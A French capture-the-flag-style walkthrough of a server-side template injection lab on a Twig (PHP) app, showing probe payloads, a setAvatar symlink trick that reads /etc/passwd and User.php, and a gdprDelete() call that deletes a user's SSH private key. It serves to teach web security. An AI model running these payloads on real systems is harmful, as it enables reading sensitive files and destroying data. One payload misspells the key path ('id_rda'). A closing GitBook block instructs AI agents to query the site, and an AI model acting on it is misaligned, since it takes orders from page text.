> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-with-custom-exploit.md).

# SSTI avec un exploit personnalisé

### Injection de template côté serveur avec un exploit personnalisé

L'application est sensible à une injection SSTI. / Le but est de créer un exploit personnalisé **exploit** qui vous permet de supprimer le `/home/carlos/.ssh/id_rsa`\*\* fichier. / Connexion possible avec l'utilisateur : `wiener:peter`.

#### Point injectable

Le **pseudo** le champ est vulnérable :

```python
}}{{7*7
```

L'expression est évaluée.

<figure><img src="/files/23332b414a5b48b272550a3fc70e40a5707fc2ab" alt=""><figcaption></figcaption></figure>

En déclenchant une erreur :

```php
}}{{7/a
```

Il est découvert que le moteur utilisé est **Twig (PHP)**.

<figure><img src="/files/a9e8e73b1ee8f232924621a995e36925bda0c62a" alt=""><figcaption></figcaption></figure>

#### Détournement de la fonction de D

Il est possible de définir un avatar personnalisé via :

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/0d7a35e0d506b424b2e18799dfbbd11fdb4d3593" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fc61e30d16a448e6e897a3e4589a38b50c4216f7" alt="" width="496"><figcaption></figcaption></figure>

Ce mécanisme crée un **lien symbolique** vers n'importe quel fichier lisible. / Ainsi, vous pouvez récupérer votre contenu en téléchargeant l'avatar.

#### Exemple

Lire `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

Le fichier est accessible lors de l'ouverture de l'image

<figure><img src="/files/bd6202e3ec5a299894c84821f3b4dd67c3104612" alt=""><figcaption></figcaption></figure>

#### Analyse du code `User.php`

Le `/home/carlos/User.php` le fichier révèle :

<figure><img src="/files/b7e9856e828123c718e4a241e189b19ce2cb8dcb" alt=""><figcaption></figcaption></figure>

\*\*Le `gdprDelete()` la fonction supprime en réalité le fichier pointé par le lien symbolique. \*\*/ C'est exactement ce qu'il faut utiliser pour effacer `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Impossible de supprimer " . $filename);
        }
    }
}

?>
```

#### Opération : suppression de `/home/carlos/.ssh/id_rsa`

Créer un lien symbolique vers la clé SSH de Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Déclencher la suppression via :

```php
user.gdprDelete()
```

Le lien symbolique pointe vers `id_rsa`/ `gdprDelete()` supprime le **fichier cible** lien \*\*`id_rsa` le fichier est supprimé. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
